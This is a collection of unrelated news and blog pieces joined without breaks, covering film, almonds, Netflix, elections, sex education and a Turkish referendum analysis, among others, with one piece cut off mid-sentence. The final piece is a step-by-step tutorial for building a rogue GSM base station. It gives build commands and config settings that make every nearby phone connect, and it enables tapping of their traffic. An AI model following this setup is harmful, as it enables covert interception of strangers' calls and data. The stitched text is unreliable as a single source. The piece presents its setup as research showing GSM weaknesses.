Time to bring Big Willie into #SuicideSquadFriday. Does Deadshot rumble w/ Batman in #SuicideSquad? Check it pic.twitter.com/Xg6wcaUbfT — ErikDavis (@ErikDavis) April 15, 2016
“The Bat does cross my path… and, ya know, it’s not completely pleasant,” Smith told Fandango. When asked how much of a role Batman has in Suicide Squad, director David Ayer simply replied “just the right amount.”
Collider posted a great video interview with Smith, where he talks about what got him interested in doing Suicide Squad. Spoiler alert: it was David Ayer’s process, which Smith goes into in great detail.
Lastly, Smith teased Suicide Squad’s ending in an interview with ComicBook.com. Completely spoiler free, of course!
“The ending of the movie is – spoiler free – the ending of the movie is a really unique way to have everybody collide,” Smith explained. “I’d never been in a scene like this with as many different elements as take place in the final sequence. It’s very cool.”
SOURCE: Fandango, Collider, ComicBook.comHIPSTERS love their almond milk because it’s healthy and doesn’t come from animals.
But that doesn’t mean it’s 100 per cent environmentally conscious, as many of them would like to think. Actually, it’s quite the opposite.
People are consuming such large amounts of almonds that it’s sucking the salmon, bees and what’s left of the water supply out of California at alarming rates, reports The Atlantic.
It takes 4.1 litres of water to produce a single almond, and right now California is churning out almost 1 billion kilograms of them a year — 82 per cent of the world’s almonds come from California.
MORE: Is almond milk all it’s cracked up to be?
This means the almond farmers have to take all they can from the state’s aquifers, which support infrastructure like bridges and roads.
Over-pumping of aquifers has already caused the ground to sink several inches per year in central California, and if the process continues to increase as it has been, vital roadways and irrigation canals could collapse.
The low water levels are also putting indigenous salmon at risk of the often fatal fungal infection gill rot.
Thousands of the endangered king salmon of Northern California’s Klamath River will be dead unless more water is released into the river in the coming months.
Yet this is nothing compared to the threat facing California’s bee population, already dropping by the tens of thousands due to pesticides in almond farms.
Farmers tend to apply more than one pesticide or insecticide at once because it’s easier than making separate trips through these gigantic fields for each chemical.
California bee broker Denise Qualls told NPR that she has lost 10 per cent of her bees to almond farms this year.
Beekeepers are currently meeting with representatives from the US Environmental Protection Agency to request that more restrictions are put on the intervals in which pesticides are applied, she said.
And what about all the manpower needed to keep drilling all these new almond wells?
NPR reports that workers for drilling companies are forced to work 12-hour days, seven days a week, to keep up with demand.
According to The Atlantic, 44 per cent more land in California is being used for almonds compared to 10 years ago.
So congratulations, hipsters. You’re so nonconformist that the entire state of California has been forced to change.
This article originally appeared on Elite Daily.The raw tonnage of Netflix streaming video has increased 350% over the last 10 quarters — and now averages 93.2 minutes per subscriber each day, or around 1.5 hours, according to a new study.
Over all, Netflix streamed an estimated 7 billion hours of video in second quarter of 2014, up from about 2 billion hours in Q4 2011, according to research from The Diffusion Group. The firm based its estimates on an analysis of Netflix’s past reports of streaming usage.
“Netflix is the big dog of online SVOD and sets the bar when it comes to viewing hours,” said TDG co-founder Michael Greeson.
Without question, Netflix’s streaming growth has been phenomenal. But to put the figures into context, Americans still watch more than three times as much traditional television: That was a whopping 142 hours and 38 minutes of live TV per month in the second quarter of 2014 (down about four hours from the year prior), along with 14 hours and 13 minutes of television programming on DVRs and video-on-demand, according to Nielsen.
SEE ALSO: Netflix Remains King of Bandwidth Usage, While YouTube Declines
Netflix declined to comment on the TDG study, released Thursday. In May, the company said that it streamed 6.5 billion hours of video globally in the first quarter of 2014 (working out to 44.8 hours monthly per sub), up from about 5 billion for Q3 2013 (41.3 hours per month per user).
Related Sandra Bullock Moms Who See 'Bird Box' Will Think: 'That River Is My Journey as a Parent' TV Roundup: Amy Schumer Stand Up Special 'Growing' Drops First Trailer (Watch)
Among U.S. Netflix subscribers, the amount of video streamed nearly tripled from 1.8 billion hours in Q4 2011 to 5.1 billion hours in Q2 2014, TDG esimated. Total international streaming over that time period jumped tenfold, from 200,000 hours in Q4 2011 to 1.9 million hours in Q2 2014.
Today, the U.S. accounts for the lion’s share of Netflix usage with 72%. However, that’s down from 94% in Q3 2011, per TDG. Non-U.S. streaming usage will certainly continue to rep a bigger portion of the total as Netflix continues expanding internationally. Last week, Netflix launched in six European countries, including France and Germany, with markets in 2015 expected to include Australia.Online Release Party and Fundraiser
Saturday, February 11, at 4 p.m. EST (9 p.m. UTC)
on Ponyville Live
Each year, musicians, artists, and brony media organizers come together from all across the fandom to make sure Bronies for Good’s annual Seeds of Kindness drive kicks off with a bang.
In just a few days, our seventh charity album drops. With 14 songs, over an hour of music, and genres spanning from orchestral, to folk, to several different subgenres of EDM, A Change of Heart is the culmination of months of work from talented, and diverse musicians, all united in their dedication to making the world a better place.
After that, it’s up to you. The Seeds of Kindness fundraisers have been an enormous success, thanks to the altruism and generosity of you, the fandom.
Come join us in celebration as we kick off another fundraising season with our release party for Seeds of Kindness: A Change of Heart! Stream and group chat enabled by Ponyville Live!
On Saturday, February 11, at 4 p.m. EST (9 p.m. UTC), Ponyville Live will host an online fundraiser, complete with a stream of the album, and a public group chat with musicians.
When you donate, you can download A Change of Heart, and all of Bronies for Good’s previous albums! You can already donate, and you’ll be able to download all past albums right away as well as A Change of Heart upon the start of the release party.
The Theme
A Change of Heart continues to promote the theme of last year’s album: global empathy. The concept of global empathy is oft misunderstood because it is a very dry term for a profoundly personal and emotional process. Humans are instinctively compassionate; upon witnessing the suffering of sentient beings, we are motivated with a desire to help alleviate said suffering. Regardless of race, background, or country, we care and seek to do our best to help those in need.
However, everyone’s awareness has limitations. The modern world is fast-paced, and the suffering of others can all too often seem abstract, especially when it is very far away. It takes work to both remain aware, and to keep one’s heart from becoming jaded.
A Change of Heart is all about overcoming those obstacles, as individuals, and as a people.
The Charity
It is important for any charitable enterprise to back a trustworthy and effective cause. Seeds of Kindness benefits the Against Malaria Foundation – an organization that saves thousands of lives by helping to improve health conditions in less-developed nations.
GiveWell has rated it one of the best charities in the world.
Over 200 million people contract malaria every year, and many who survive are locked in poverty due to expensive treatments. It is a permanent catastrophe.
It is also easily preventable.
The Against Malaria Foundation stands out because of its strong track record and commitment to efficiency, program monitoring, and transparency. As malaria-infected mosquitoes mostly bite at night, it can be prevented with cheap, long-lasting insecticidal nets. As little as $3 buys a net that will protect two people for two or three years and contribute to the permanent elimination of the disease.Reported by Karl Ortegon.
MEN’S 100 FREE FINALS
Nathan Adrian (Cal) 48.66 Duncan Scott (GBR) 49.33 Joao De Lucca (Cardinal Aquatics) 49.60 Jacob Pebley (Cal) 49.76 Luca Dotto (Italy) 49.79 Filippo Magnini (Italy) 49.80 Ali Khalafalla (Indiana University) 50.03 Bruno Fratus (UNAT) 50.06
Nathan Adrian of Cal posted a 48.66, taking the win using a 24.73 back half to blow out the field. GBR’s Duncan Scott swam his way to 2nd with a 49.33, followed by Cardinal Aquatics’ Joao De Lucca. Adrian’s time looks to slingshot him to number 1 in the world in 2017.
Jacob Pebley showed off some sprint skill with a 49.76 to just get ahead of Italians Luca Dotto (49.79) and Filippo Magnini (49.80). Taking the B final was Federico Grabich of Argentina (49.43).Update: Three employees were fired in the aftermath of lettuce-gate 2012, and the Cuyahoga County Board of Health has cleared the restaurant. The scary part? In its inspection, they found it wasn't only those two containers of lettuce that were affected. The non-scary part: they caught any of it before it was served.
Via Mayfield Hts. Patch:
Three Burger King employees were fired in connection with the incident, Burger King’s corporate office said. Dave Covell, the Deputy Director of Environmental Health for the county board of health, said the store’s management found more than just the two lettuce bins affected. Covell said the store threw out all of the affected food on Saturday morning. None of the lettuce was served to anyone, nor have any illnesses been reported, he said.
Yummers.
***
The internet can be a magical place sometimes.
A (briefly) anonymous employee of Burger King snapped a pic of himself, which you can see to the right, standing on two containers of lettuce. And not so much on the containers of lettuce so much as in the containers of lettuce. The lettuce that people were going to eat.
Everyone might have deep fears that this is the sort of stuff that happens in the back kitchens of fast food restaurants, but most know disgusting Waiting-esque hijinks don't actually occur on a regular basis. At least we hope. That mental imagery ruins a perfectly good Whopper.
Anyway... he posted the pic on 4Chan.
Anonymous, the online collective famous for high-profile hackings, internet sleuthing, and virtual attacks against monster companies like Mastercard, didn't take too kindly to senor asshole's post and quickly destroyed his nameless, faceless designs by grabbing the GPS data from the picture, which our mastermind was too dumb to strip before posting. You can also sorta see a barcode in the background on a box, which would have been another clue.
It took all of 15 minutes, according to HyperVocal.com, to find out that the employee worked at the Burger King in Mayfield Heights. Phone calls and emails ensued.
Scene called over to BK this morning and chatted with Andrea, a manager during the breakfast shift. She said she had just heard about the incident recently and has been trying to get in touch with her district manager and general manager. But she assures us justice will be had.
"Whoever this is is getting fired," she said. "And whoever the manager was at the time will be fired, too."
At this point, she hadn't even seen the picture yet. When Scene directed her toward the snapshot, she quickly said: "Oh, I know who that is. He's getting fired."
And there you have it, folks. Don't fuck with people's food or the internet.PORTLAND, Ore. -- Portland police released surveillance photos of two suspects in a string of bar and tavern robberies that began in early June.
The suspects were armed with either handguns or knives during the robberies, according to police. Both were described as black men with dark complexions in their 20s.
The first suspect is between between six feet and 6-foot-3 and 225 pounds with a small colored tattoo on his left forearm.
The other suspect is 5-foot-6 to 5-foot-8 with a medium build.
Photos: Serial bar robbery suspects A suspect in multiple bar robberies. A suspect in multiple bar robberies. A suspect in multiple bar robberies. A suspect in multiple bar robberies.
Photos: Portland bar robbery suspects
Police believe the men are responsible for three bar robberies early Monday morning..
Officers were called at 12:49 a.m. to the Greeley Avenue Bar & Grill, at 5241 N. Greeley Avenue. Witnesses said two black men, one with a gun, demanded money, cellphones and wallets. No one was injured.
A second call came in at 2:04 a.m. from the Sandy Hut, at 1430 NE Sandy Blvd. A black man with a gun demanded money. A security worker "intervened" and the suspect ran out eastbound on Couch Street with another black man, police said.
The Hilt, at 1934 NE Alberta Street, reported a robbery at 2:28 a.m. Two armed black men demanded money, cell phones and wallets. No one was injured.
Anyone with information about the robberies is asked to contact Detective Tracy Chamberlin at 503-823-4783 or Tracy.Chamberlin@portlandoregon.gov.
Crime Stoppers of Oregon is offering a reward of at least $250 for anyone who reports a convicted felon or juvenile in possession of a firearm. Submit an online tip here or 503-823-HELP (4357).
Read more: 7 Portland bars robbed in past month
More: 2nd brazen Portland bar robbery in a week
More: 1 arrested after SE Portland bar robbery, 1 escapesThe weekly update for Future Perfect is now live on Steam! Here are some of the changes in this update.
Asset Thumbnails
This week we implemented a long planned feature: asset thumbnails. Now when you open the asset browser in the editor you’ll see preview icons:
Right now we only have thumbnails for models and blueprints (that use models), but we’ll be adding support for texture, material and collision assets as well.
This is part of our continuing effort to improve the usability of the editor interface.
Bow and Arrow
The bow and arrow is a new item in Future Perfect. It’s using programmer artwork, but the bow and arrow was a good chance to implement something a bit different than other hand-held objects we’ve implemented so far. Holding the left mouse button will gradually draw back the arrow and releasing the button fires the arrow. Drawing the bow string farther back will fire the arrow with a greater force.
Unlike the other weapons, this |
"The rocket party is finished. You choose PAS and DAP will be finished," he says.
Sum tells the media that earlier in their walkabout, he had been asked many questions, including about whether PAS was linked to the Islamic State terrorist group.
"But I told them, they've arrested so many IS people, not one of them was a PAS member," he says, adding that it would take time to change the negative perception of PAS.
The PAS candidate for Pujut, Jofrie Jaraiee, says with Sum around, they've had better success in engaging with the Chinese community, who are the majority of voters in this constituency.
Miri: PAS team visits a bak kut teh shop together with ex-DAP man as part of its Pujut campaign @malaysiakini pic.twitter.com/lvUOmsARrd — Zikri Kamarulzaman (@zikri) May 4, 2016
12.59pm - Kuching: While the federal cabinet holds its meeting at Wisma Bapa Malaysia, Kuching, Sarawak PKR leaders stage a protest outside the premises of the state government building.
"We're here today to present our five demands to Prime Minister Najib Abdul Razak.
"Najib has made all these promises to look out for the interests of Sarawak, but they are empty promises," says Batu Lintang incumbent See Chee How, who was present with half a dozen PKR candidates from the Kuching district.
The demands are: raising Sarawak's oil royalty to 20 percent; amending laws to expand the state's marine territorial boundaries beyond three nautical miles; re-negotiating the tripartite petroleum agreement between federal and state governments and Petronas; ratifying the United Examinations Certification (UEC); and allowing the use of English as a teaching medium.
10am - Kuching: DAP veteran Lim Khim Boon, 66, challenges local opposition leaders from DAP and PKR to leave their respective parties from the peninsula if they are truly the “sons of Sarawak".
There is nothing much for both parties to fight for in Sarawak due to the limitation of powers, Borneo Post quotes him as saying in an interview.
“If they want to fight for Sarawak, they have to leave DAP and PKR and join the local opposition parties who know what is best for the people in the state,” says Lim, who is the father to Senadin DAP branch chairperson Lim Su Kien.
10am - Kuching: Caretaker Chief Minister Adenan Satem has called on Pakatan Harapan to abolish the Goods and Services Tax (GST) in Penang and Selangor.
He slammed Penang Chief Minister Lim Guan Eng and Selangor Menteri Besar Azmin Ali for confusing the Sarawakians with the GST issue.
"I challenge Lim Guan Eng and PKR, why can't they abolish GST? They just can't, but they want to confuse the people here," he said as reported by Chinese daily See Hua Daily.
"That's why I don't want them to disturb us. (We have) kicked out more than 40 people, from the opposition and Umno," he said at Serian yesterday.
9.30am - Kuching: DAP tells the voters in Batu Kitang to vote for its candidate Abdul Aziz Isa to ensure the presence of a Malay opposition lawmaker in the state legislative assembly.
"If he is chosen as Batu Kitang assemblyperson, he will be the first Malay opposition state assemblyperson," reads DAP's advertisement in Chinese newspaper See Hua Daily today.
"This will open up a new political situation that will break the monopoly of the PBB Malay lawmakers. The opposition coalition will be multi-ethnic," it reads.
The party argues that more Malays will join the opposition if Abdul Aziz is victorious in the state election.
DAP is engaged in five-corner fight in the predominantly Chinese seat and is facing, among others, Voon Shiak Ni from opposition ally PKR.
9.15am - Miri: State minister Awang Tengah Ali Hasan officiates a water supply project for 85 households in Bukit Kisi.
This is part of the RM14 million allocated for rural water supply projects to benefit 760 households in the Lambir state constituency under 11th Malaysia Plan.
Awang Tengah tells the voters in Lambir to vote for BN candidate Ripin Lamat, the Borneo Post reported today.
Caretaker Chief Minister Adenan Satem has been instrumental in accelerating rural development through the allocation of RM1.5 billion in funds under his Rural Transformation Programme (RTP), the PBB leader says.
12am – Kuching: PAS deputy president Tuan Ibrahim Tuan Man criticises the actions of the Sarawak state government for blocking party’s election workers from campaigning.
Most of them, who are from the peninsular, are only allowed to stay in the state until tomorrow – two days before polling day, laments Tuan Ibrahim.
“This should not happen in any democracy,” the PAS leader tells the press at the party’s headquarters in Kuching.
“There should not be any obstacles and their stay should not be restricted, especially when campaigning for the Sarawak election.”Ontario has introduced a sweeping new sexual education program for the digital age that will cover everything from proper names for body parts in Grade 1, to sexting in Grade 7, to healthy sexual relationships in Grade 12.
The province’s schoolchildren will be introduced to concepts like sexual consent and the reality of same-sex parenting alongside more traditional lessons on puberty, birth control and preventing sexually transmitted diseases.
The new curriculum, to be implemented at all grade levels by September, has been met with outrage from some conservative and Christian groups that think it will provide too much information to too young an audience, and that parents should be responsible for imparting such life lessons according to their own values.
In fact, Ontario’s effort should be applauded. It is a bold move to address the profound lack of reliable information for youth in today’s hyper-sexualized and highly digital culture, where pornography is plentiful and even mainstream fare like music videos are rife with confusing messages about sex.
It’s an initiative that Quebec should follow.
A decade ago, Quebec abandoned formal sex-ed classes, adopting a holistic approach to tackling issues throughout the curriculum, be it in gym class or French as a second language. But having no one responsible for teaching sex-ed has often resulted in no one actually teaching it. A patchwork of policies means regions, boards and even individual schools vary in what lessons they offer. Some schools are proactive and dedicate resources. Others call in expert outsiders from time to time. Many simply give it a pass. Teachers aren’t trained in how to instruct it. This does a tremendous disservice to young people.
Children and teens are being left to absorb misleading and often warped information about sex, health and relationships from the Internet, popular culture and the schoolyard. Without proper guidance, context and accurate information, they are heading for trouble as they set out to navigate the ever more complicated web of modern sexual behaviour. Unsettling news reports in the past few years have underscored some of the disastrous consequences of failing to foster healthy sexual attitudes in young people.
Yes, parents should be involved in the discussion. But let’s face it: not all are comfortable raising these issues; not everyone is up to speed on relevant topics; many parents don’t know what their kids are really up to — and what lessons would truly be of benefit. Talking about sex should start at home, but it shouldn’t end there.
Whatever a family’s values, the public school system has a duty to teach tolerance and recognize diversity. As Quebec is embroiled in a debate over its values, largely rooted in concern about equality, what better place get at the roots of sexism, the objectification of women and homophobia than in a sex-ed class?
As well, digital literacy has become an essential life skill that is too frequently ignored. Children are thoughtlessly taking nude pictures of themselves and sending them to friends — without understanding the emotional or legal consequences, or the permanence, of such an act.
It is futile to try to shelter children. What we need to do is arm them with the best information possible to survive in the modern world. Without a clear sex-ed curriculum, Quebec is failing students.On the 50th anniversary of the 1965 war with Pakistan we bring you photographs of brave Indian soldiers from the battlefield and the day battle was won.
These pictures were shared by the Indian Army and the ministry of defence earlier today on Twitter.
Brigadier ZC Bakshi, Commander, 68 Inf Brigadier briefs Lt Gen Harbaksh Singh, General Officer Commanding-in-Chief of the Western Command on Battle of Hajipir.
Pictures of Haji Pir Pass captured by 1 PARA on August 28, 1965.
Remembering a glorious day in history. The epic capture of the strategic Haji Pir Pass by Indian Army.
August 24, 1965: A vital Pakistani Post at Richmar Ridge in Tithwal sector was captured by 1 Sikh now 4 Mech Inf.
Major RS Dyal, PVSM, MVC led an assault & captured Sank. He was awarded the Mahavir Chakra.There are a number of striking features of Sunday’s referendum in Turkey, which resulted in a narrow victory (51.4% being the official “YES” vote share at the time of writing this blog post) for the constitutional amendment proposed by the government.
There are, however, numerous challenges to the result, both with regards to the environment in which it was carried out as well as more direct accusations of election-day irregularities. Going through the election data is probably going to keep many people busy for the next couple of days weeks months. For now, I wanted to highlight one particular phenomenon which struck me as interesting.
At a first glance, when plotting the vote share distribution of the YES vote at the ballot box level was that the “Never-AKPers” were gone. These Never-AKPers are voting groups that have extremely few or literally zero votes for the AKP. In past elections, they have been quite noteworthy. The below illustrates this by plotting the distribution of the AKP vote shares for the 2011, June 2015, and November 2015 parliamentary elections and in the bottommost graph the YES vote share in Sunday’s referendum.
Essentially, the fat left tail (i.e. the ballot boxes with next to zero AKP votes), which stands out in the previous three elections is almost entirely gone in 2017. What happened? Did the areas where the AKP was the least popular suddenly have a change of heart?
These Never-AKPers tend to be, with some exceptions of course, voters in the predominantly Kurdish southeastern region of Turkey. And so, in these areas, there ought to have been a vote swing from those previously voting for the Kurdish party HDP in past elections to a YES vote for the AKP government’s proposed constitution (which the HDP has stringently opposed) in the current election. Interestingly, the AKP may have gained as much as 450,000 (preliminary and subject to possible change) votes in the Southeast compared to November 2015, corresponding to roughly 10% of votes of the entire region. Especially since turnout was significantly lower this time around, by my estimates by some 150,000 (preliminary and subject to possible change).
The degree to which there has been a vote swing in the southeastern areas to the AKP can be seen in the below boxplot graph, which plots the distribution of the district-level (ilce) log difference between the number of votes received by AKP (or the YES side) in any of the June 2015 November 2015, or 2017 elections and the number of AKP votes in the previous election.
The graph shows AKP losing votes in the June 2015 election, especially in the Southeastern region, to then experience a sharper-than-the rest swing back in November that same year. In the last 2017 referendum election, this region is again pushing further toward the AKP(‘s constitution), even as the rest of Turkey experiences somewhat of a reversion to the mean. For the vote swing in the Southeast in 2017, the distribution is also clearly skewed towards positive an AKP-swing, partly driven by a number of outliers.
Two things are odd with this: the first is that the Southeast region experiences a roughly equally large (if you care about the median) or a larger (if you care about the mean) pro-AKP vote swing than in November 2015, just as the rest of Turkey experiences the opposite. The second is that the distribution of the AKP vote swing is so much more skewed toward the AKP than any group in any of the previous elections. (In fact, there are only observations in the “outer fence” on top, which makes it stand out among the other distributions.)
There are no commensurate swings in either registered voters or votes cast, as shown in the middle- and right-hand graphs.
This doesn’t have to be anything peculiar or strange if the pro-AKP swing in the Southeast is coming from “latently” pro-AKP areas (areas that were already pro-AKP in the region. Nor does the above graph by itself offer any link to the first graph I showed of the disappeared Never-AKPers.)
However, it turns out this is not the case. In fact, the largest pro-AKP swings appear to come from the least pro-AKP areas in the region. This can be seen in the below graph, which plots, again, the log pro-AKP vote swing against the log number of AKP votes in the past election for both the Southeastern districts (red) and the rest of Turkey (blue).
Note two things about the left-hand and middle graphs: the largest swings away and back to the AKP occurs mostly among the mid-range of AKP voters in the southeast (in red), not the very least AKP-supporting districts. The districts that were already not at all voting for the AKP in the previous elections tend to remain this way. That is, until last Sunday. Here, almost the entire lower end of the distribution is experiencing some of the largest pro-AKP vote swings in the entire distribution. This was unexpected.
But it gets even more surprising when one investigates which provinces and districts are undergoing this political change of hearts. In November 2015, it was predominantly the provinces of Agri, Igdir, Mus, Sanliurfa, Van, and even a few districts of Diyarbakir that swung the most toward the AKP. In 2017, however, the biggest pro-AKP changes occurred in Tunceli, Hakkari, Sirnak, and Diyarbakir. The three former provinces here are among the worst affected by the war between the PKK and the Turkish state.
It gets still a bit stranger once we look at which districts these are. The Diyarbakir district at the 1.5 point in the right-hand graphs is none other than Lice, which is as much a Never-AKPer as you’re ever going to find. Among the other districts topping the pro-AKP swing distribution are Cizre, Yuksekova, two heavily damaged districts from the military conflict, and Uludere, the scene of the infamous Roboski strike.
The voters in the strongholds of the HDP, where sympathies for the PKK and antipathy toward the Turkish state is among the highest in the country, have truly chosen a peculiar time to switch to the AKP. What could possibly explain how such strongholds of the pro-Kurdish movement would have waited until 2017 to start voting for the AKP?
Security?
One possibility could be that the composition of voters has significantly changed in some Kurdish areas since November 2015. For example, if there’s been an increased inflow of security personnel who register to vote in these areas, that could be one explanation.
At an aggregate level, there doesn’t seem to have been any larger positive changes in either votes cast, as can be seen below, but there does seem to have been an uptick in registered voters in 2017 compared to the previous election.
Most of the Kurdish areas saw decreases in votes cast, and no or small increases in registered voters. This is, in a way, also somewhat interesting. Thus, either any inflow of security personnel was too small to really effect the voting population, or the inflow of security personnel would have to have been evenly matched with the outflow of local residents fleeing the conflict. This would then beg the question of how this group of displaced citizens were given the change to vote elsewhere.
Is the Never-AKPer phenomenon by itself a sign of an irregularity?
Above, I make make no judgement as to whether the initial existence of the Never-AKPers is by itself a problem for the elections or not. Perhaps these are simply an outcome of very homogenous political preferences in some areas. Or perhaps not, in which case there’s a Devil’s Advocate kind of argument to be made:
(I am also grateful to a number of midnight-oil-burning DMs from Alex)
Alternatively, could a switch in allegiance of the local elites, effectively tribe leaders, explain the phenomenon? As I wrote just after the June 2015 elections, the HDP’s success was to a large extent brought about by it successfully gaining the support of non-core voters among more religiously conservative Kurds. At the time, there was some reporting on HDP’s specific campaigns to win over large tribal communities in Kurdish Turkey (see here, here, and here). This could have resulted in a vote swing of so-called “block votes”, whereby “persuading only the tribal chief, community leaders secure the backing of thousands of people.” In the November 2015 elections, there was a significant reversal in this non-core group of Kurds, most likely as the government managed to regain their support.
But before getting into more details on this, let’s take another look at the data. In this case, I’ve split the data into two groups, one including ballot boxes belonging to provinces in Turkey’s Southeastern region, and the second one including all others. The below graph is the same as the first one above, but split along these two subgroups
Although there appears to be some Never-AKPers even outside of the Southeastern provinces, I will focus mostly on the Southeast where they tend to be much more common. The left-hand side panel shows that 10-15 percent of all ballot boxes had little or no AKP votes in the June and November elections, with a smaller share in 2011 and, as previously documented, very few such cases in 2017.
Which provinces are driving this result can be gleaned from the below graph which plots the same kind of plot but for each province (in the Southeast).
In several cases (Agri, Mus, Siirt, Sirnak, Van etc) the high densities at the very lowest part of the distribution seem to occur almost exclusively in the two 2015 elections. In the June 2015 elections, for example, Hakkari saw roughly half its ballot boxes having little or no AKP votes, and the corresponding percentages for Agri was 25%, 15% in Diyarbakir, 20% in Mardin, 40% in Mus and Sirnak, 60% in Tunceli, and 20% in Van.
If this phenomenon was due to pro-HDP irregularities, occurring under an absence of state control, one would expect these to disappear in the November 2015 election, as the state security forces reasserted control over the region. Although this seems to have occurred in some provinces like Agri, Bingol, and even to some extent Siirt, in most others it continued. Similarly, if the very high densities of low-AKP-voting areas were a result of of block voting via traditional tribes, then shouldn’t the high densities at the lower end of the distribution have disappeared entirely in November?
In 2017, however, the Never-AKP phenomenon is entirely gone. Curiously, both in Bingol, Sanliurfa, and even to a degree in Bitlis and Siirt, we now observe the opposite, high densities at the very top of the distribution. And so, under the assumption that Never-AKP ballot boxes were an outcome of some form of anti-AKP irregularities under state absence, this would then imply that the reassertion of state control lead to Always-AKPers, which ought to then constitute pro-AKP irregularities. But the incongruence between the timing of state reassertion of control and the Never-AKPers lingering on even afterwards suggest tribal block voting and irregularities with a pro-HDP bias are unlikely to be the main driver of why the Never-AKPers disappeared.
Overall, however, I suspect there are multiple factors at work. It would be naive to claim that there couldn’t have existed any irregularities benefiting the HDP in previous elections, nor that local elites and block votes don’t matter at all. And if the AKP has been able to stop or harness such practices, it would then be one more institutional feature of Turkey that it has successfully been able to turn to its advantage. (In particular, the distribution for Sanliurfa in 2017 looks rather concerning.) The Southeast remains its poorest region, and if there was any area in Turkey where electoral fraud would be most likely to go unnoticed, it would most likely be here.
Meanwhile, I don’t think one should underestimate factors I have not discussed very much here, such as the internally displacement of large numbers of the population or the possibility that local residents might simply vote for the constitution in the hope that the political instability would end. There is also the issue of why there are Never-AKPers outside of the Southeast. These factors, however, would require a post of their own.Image by Adam Mignanelli. Follow him on Instagram
On Thursday, President Barack Obama dropped a 39-track, genre-spanning summer playlist. It's divided between daytime and nighttime songs, and includes songs by Fiona Apple, D'Angelo, and Chance the Rapper. Clearly, the president's tastes are wide-ranging and he (or his staff, anyway) keep relatively up-to-date on new musical trends. Good for him!
Still, there was one genre of music notably absent from both the "day" and "night" playlists: There's nothing that could be called punk, or even post-punk or new wave, on there. What gives?
Why should the president be into punk? you ask. Well, why not? Obama is 55 years old and was 18 in 1979, right smack dab in the middle of the post-punk era. He grew up in Hawaii, which is not known for its 70s punk scene, but was in LA for college, which means he could have caught a show by the Germs, or Black Flag, or the Circle Jerks, or a host of other bands while he was studying at Occidental College.
Democratic vice-presidential nominee Tim Kaine is an avowed fan of the the Replacements, which is sick, and New York City Mayor Bill de Blasio has said that Sandanista! is his favorite record, which is kind of like saying Finnegan's Wake is your favorite book, but whatever. Meanwhile, this is the eighth summer playlist that Obama has released, and not a single one has contained a track that could be considered "punk." That should pretty clearly suggest that the answer is no, Obama does not like punk. But it also seems impossible that he would not?
To for-real figure out if the president has ever listened to punk, I got in touch with Ebs Burnough, the former deputy social secretary to the Obama administration and someone who is very familiar with the POTUS's taste in music. Upon introducing himself, he described synching iPods with Michelle Obama and how the first lady used to mercilessly mock someone on staff who loved Barry Manilow. An edited version of our conversation is below:
VICE: Does Obama listen to punk?
Ebs Burnough: You know what, I think in terms of punk specifically, nothing is coming to mind.
So there you have it: Obama does not like punk.
Follow Allie Conti on Twitter.The last week I’ve been visiting my friend and colleque Ziggy in Tel Aviv which gave me something I’ve been waiting for almost a year, a brand new BladeRF x40, a low-cost USB 3.0 Software Defined Radio working in full-duplex, meaning that it can transmit and receive at the same time ( while for instance the HackRF is only half-duplex ).
In this blog post I’m going to explain how to create a portable GSM BTS which can be used either to create a private ( and vendor free! ) GSM network or for GSM active tapping/interception/hijacking … yes, with some (relatively) cheap electronic equipment you can basically build something very similar to what the governments are using from years to perform GSM interception.
I’m not writing this post to help script kiddies breaking the law, my point is that GSM is broken by design and it’s about time vendors do something about it considering how much we’re paying for their services.
Hardware Requirements
In order to build your BTS you’ll need the following hardware:
A bladeRF x40
Two Quad-band Cellular Duck Antennas SMA.
A Raspberry Pi 3 ( model 2 and below are too slow ).
An USB battery pack ( I’m using a 26800mAh Anker Astro E7 ).
A microsd for the RPI >= 8GB.
Some patience and time … :)
Software
Let’s start by installing the latest Raspbian image to the micrsd card ( use the “lite” one, no need for UI ;) ), boot the RPI, configure either the WiFi or ethernet and so forth, at the end of this process you should be able to SSH into the RPI.
Next, install a few dependecies we’re gonna need soon:
sudo apt-get install git apache2 php5 bladerf libbladerf-dev libbladerf0 automake
At this point, you should already be able to interact with the BladeRF, plug it into one of the USB ports of the RPI, dmesg should be telling you something like:
[ 2332.071675] usb 1-1.3: New USB device found, idVendor=1d50, idProduct=6066 [ 2332.071694] usb 1-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 2332.071707] usb 1-1.3: Product: bladeRF [ 2332.071720] usb 1-1.3: Manufacturer: Nuand [ 2332.071732] usb 1-1.3: SerialNumber: b4ef330e19b718f752759b4c14020742
Start the bladeRF-cli utility and issue the version command:
[email protected]:~ $ sudo bladeRF-cli -i bladeRF> version bladeRF-cli version: 0.11.1-git libbladeRF version: 0.16.2-git Firmware version: 1.6.1-git-053fb13-buildomatic FPGA version: 0.1.2 bladeRF>
IMPORTANT Make sure you have these exact versions of the firmware and the FPGA, other versions might not work in our setup.
Now we’re going to install Yate and YateBTS, two open source softwares that will make us able to create the BTS itself.
Since I spent a lot of time trying to figure out which specific version of each was compatible with the bladeRF, I’ve created a github repository with correct versions of both, so in your RPI home folder just do:
git clone https://github.com/evilsocket/evilbts.git cd evilbts
Let’s start building both of them:
cd yate./autogen.sh./configure --prefix=/usr/local make -j4 sudo make install sudo ldconfig cd.. cd yatebts./autogen.sh./configure --prefix=/usr/local make -j4 sudo make install sudo ldconfig
This will take a few minutes, but eventually you’ll have everything installed in your system.
Next, we’ll symlink the NIB web ui into our apache www folder:
cd /var/www/html/ sudo ln -s /usr/local/share/yate/nib_web nib
And grant write permission to the configuration files:
sudo chmod -R a+w /usr/local/etc/yate
You can now access your BTS web ui from your browser:
http://ip-of-your-rpi/nib
Time for some configuration now!
Configuration
Open the /usr/local/etc/yate/ybts.conf file either with nano or vi and update the following values:
Radio.Band=900 Radio.C0=1000 Identity.MCC=YOUR_COUNTRY_MCC Identity.MNC=YOUR_OPERATOR_MNC Identity.ShortName=MyEvilBTS Radio.PowerManager.MaxAttenDB=35 Radio.PowerManager.MinAttenDB=35
You can find valid MCC and MNC values here.
Now, edit the /usr/local/etc/yate/subscribers.conf:
country_code=YOUR_CONTRY_CODE regexp=.*
WARNING Using the.* regular expression will make EVERY GSM phone in your area connect to your BTS.
In your NIB web ui you’ll see something like this:
Enable GSM-Tapping
In the “Tapping” panel, you can enable it for both GSM and GPRS, this will basically “bounce” every GSM packet to the loopback interface, since we haven’t configure any encryption, you’ll be able to see all the GSM traffic by simply tcpdump-ing your loopback interface :D
Start It!
Finally, you can start your new BTS by executing the command ( with the BladeRF plugged in! ) :
sudo yate -s
If everything was configured correctly, you’ll see a bunch of messages and the line:
